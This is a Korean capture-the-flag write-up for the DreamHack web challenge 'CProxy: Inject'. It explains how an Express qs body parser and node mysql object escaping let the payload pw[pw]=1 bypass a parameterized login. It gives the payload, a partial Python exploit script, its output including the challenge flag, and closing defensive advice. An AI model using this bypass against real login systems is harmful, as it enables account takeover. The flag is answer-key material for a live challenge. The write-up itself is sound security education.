[🥈 Silver 3] 비밀번호 자리에 객체를 넣다 — DreamHack CProxy: Inject 풀이

문제: DreamHack — CProxy: Inject 분류: Web 난이도: 🥈 Silver 3 FLAG: DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}

임의 사이트로 HTTP 요청을 보내고 응답을 기록해 보여주는 프록시 서비스다. 목표는 분명하다 — admin_inject 계정을 탈취하고, 그 계정의 프록시 응답 기록을 읽어라. 플래그는 거기 저장돼 있다.

문제 개요

플래그가 어디 있는지부터 보자. DB 초기화 스크립트에 답이 있다.

INSERT INTO users (_id, id, pw) VALUES (1, 'admin_inject', '<실제 비번>');
INSERT INTO responses (_id, uid, res) VALUES (1, 1, '{"...","data":"DH{...}","url":"flag_inject"}');

responses 테이블의 _id=1 행(소유자 uid=1 = admin_inject)의 data가 플래그다. 이걸 읽는 API는 이렇게 생겼다.

app.get('/api/history/:rid(\\d+)', requireAuth, async (req, res) => {
    const rid = parseInt(req.params.rid, 10);
    const result = await db.getResponse(req.session.uid, rid);   // uid 는 세션에서
    ...
});
// db.getResponse:  SELECT res FROM responses WHERE _id = ? and uid = ?   [rid, uid]

uid는 세션에서 온다. 즉 req.session.uid === 1 인 세션, 다시 말해 admin_inject로 로그인한 상태여야 rid=1을 읽을 수 있다. 결국 문제는 "어떻게 admin_inject로 로그인하느냐"로 좁혀진다.

🧱 배경 — SQL 인젝션과 Prepared Statement

웹 로그인에서 가장 흔한 취약점이 SQL 인젝션이다. 입력을 쿼리 문자열에 그대로 이어 붙이면, 공격자가 따옴표로 문자열을 탈출해 OR 1=1 같은 조건을 끼워 넣고 인증을 통째로 우회한다.

출처: Wikimedia Commons, Batka savemazaalai, CC BY-SA 4.0

이걸 막는 표준 방법이 prepared statement(파라미터라이즈드 쿼리)다. 쿼리의 뼈대(... WHERE id = ? AND pw = ?)를 먼저 DB에 보내고 값은 따로 바인딩한다. 값은 데이터로만 취급돼 SQL 구문이 되지 못하므로, 위 그림의 ' OR 1=1 -- 류는 무력화된다.

CProxy도 ?로 바인딩한다. 그래서 문자열 기반 인젝션은 막혀 있다. 하지만 바인딩이 지켜주는 건 값이 "문자열"일 때까지다. 이번 문제의 빈틈은 거기 있었다.

🔬 코드 정찰 — 쿼리는 멀쩡하다

로그인·회원가입은 이렇게 생겼다.

async function doRegister(id, pw) {
    await query("INSERT INTO users (id, pw) VALUES (?, ?)", [id, pw]);   // UNIQUE(id)
}
async function doLogin(id, pw) {
    const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
    if (result.length === 1) {
        return result[0]._id;          // 이 값이 session.uid 가 된다
    }
}

? 플레이스홀더(prepared statement)를 쓴다. 문자열을 아무리 정교하게 넣어도 SQL 구문으로 해석되지 않으니, 교과서적인 ' OR 1=1 -- 류는 통하지 않는다. 실제로 틀린 비번으로 로그인하면 401이다.

여기서 막혀서 정공법을 한참 두드렸다.

💣 핵심 — 값이 문자열이 아니어도 된다

두 가지가 맞물린다.

(1) express의 바디 파서는 객체를 만든다. app.use(express.urlencoded())는 내부적으로 qs로 폼 바디를 파싱한다. qs는 대괄호 표기를 중첩 구조로 푼다. 그래서 pw=1은 문자열이지만, pw[pw]=1은 객체 { pw: "1" }가 된다.

POST /auth   body: id=admin_inject&pw[pw]=1
→ req.body = { id: "admin_inject", pw: { pw: "1" } }

(2) node mysql은 객체를 `key` = value로 푼다. query(sql, [id, pw])에서 ?는 값 타입에 따라 다르게 이스케이프된다. 문자열은 따옴표로 감싸지만, 객체는 SET 절 문법인 `key` = value로 펼친다. 컨테이너에서 실제로 찍어보면 분명하다.

정상  : SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'wrongpw'
인젝션: SELECT * FROM users WHERE id = 'admin_inject' AND pw = `pw` = '1'
배열pw: SELECT * FROM users WHERE id = 'admin_inject' AND pw = 'a', 'b'

pw = ?에 객체 {pw:"1"}이 들어가니 pw = `pw` = '1'이 됐다. 이게 어떻게 참이 되는지 보자.

MySQL에서 =는 좌결합이라 pw = `pw` = '1'은 (pw = `pw`) = '1'로 묶인다.

• pw = `pw` → 같은 컬럼끼리 비교라 항상 1(참). (pw는 NOT NULL)
• 1 = '1' → '1'은 숫자 1로 캐스팅 → 1 = 1 → 참.

결국 pw 조건은 실제 비밀번호와 무관하게 항상 참이다. WHERE id = 'admin_inject' AND 1 → admin_inject 행 한 건만 매칭되고, result.length === 1을 만족해 result[0]._id = 1이 세션 uid로 박힌다.

🎯 익스플로잇 — 로그인 우회 → 기록 유출

페이로드는 한 줄이다. 폼 대신 바디만 객체로 바꿔 보낸다.

POST /auth
id=admin_inject&pw[pw]=1

로그인되면 /(프록시 화면)에 들어가진다 — admin_inject 세션을 손에 넣은 것이다.

/api/history로 admin_inject의 응답 기록 목록을 본다. rid=1, url=flag_inject가 보인다.

/api/history/1로 그 기록의 상세를 열면 data에 플래그가 들어 있다.

🚀 Full Exploit

requests는 data 딕셔너리의 키에 대괄호를 그대로 써서 pw[pw]=1을 보낼 수 있다.

#!/usr/bin/env python3
import sys, re, requests
 
BASE = sys.argv[1].rstrip("/")
s = requests.Session()
 
# 1) 객체 인젝션으로 admin_inject 로그인 우회  (pw[pw]=1 → {"pw":"1"})
r = s.post(f"{BASE}/auth", data={"id": "admin_inject", "pw[pw]": "1"},
           allow_redirects=False, timeout=15)
print(f"[1] login(inject): HTTP {r.status_code} Location={r.headers.get('Location')}")
 
# 2) admin_inject(uid=1) 의 응답 기록

[1] login(inject): HTTP 302 Location=/
[2] history: [{'rid': 1, 'res': {'status': 200, 'url': 'flag_inject'}}]
[3] rid=1 data='DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}'
[+] FLAG: DH{1b2447f2cabacb0fc288166c7b031d5c5572128543d531e1481e8a0155a0b335}

📝 결론

Prepared statement는 필요조건이지 충분조건이 아니다.

?로 바인딩했으니 안전하다고 믿기 쉽지만, 그건 값이 문자열일 때 얘기다. node mysql은 값의 타입을 보고 객체면 `key` = value로, 배열이면 리스트로 펼친다. 바인딩만 했지 값의 타입을 강제하지 않으면, 공격자가 값을 객체로 바꿔 쿼리 구조를 흔들 수 있다.

바디 파서가 타입을 바꾼다는 걸 잊지 말 것.

express.urlencoded()(qs)는 pw[pw]=1 같은 입력을 군말 없이 중첩 객체로 만든다. 클라이언트가 보낸 값이 문자열이라는 보장은 어디에도 없다. req.body.id, req.body.pw를 SQL에 넘기기 전에 String(...)으로 캐스팅하거나, 타입이 문자열인지 명시적으로 검증해야 했다. (express.urlencoded({ extended: false })로 중첩 파싱을 끄는 것도 한 방법이다.)

인증 우회의 무게.

이번엔 메모 한 건을 읽는 문제였지만, 같은 결함이 일반 로그인에 있었다면 임의 계정 탈취로 직결된다. "쿼리는 파라미터라이즈했다"는 안심이 가장 위험했다.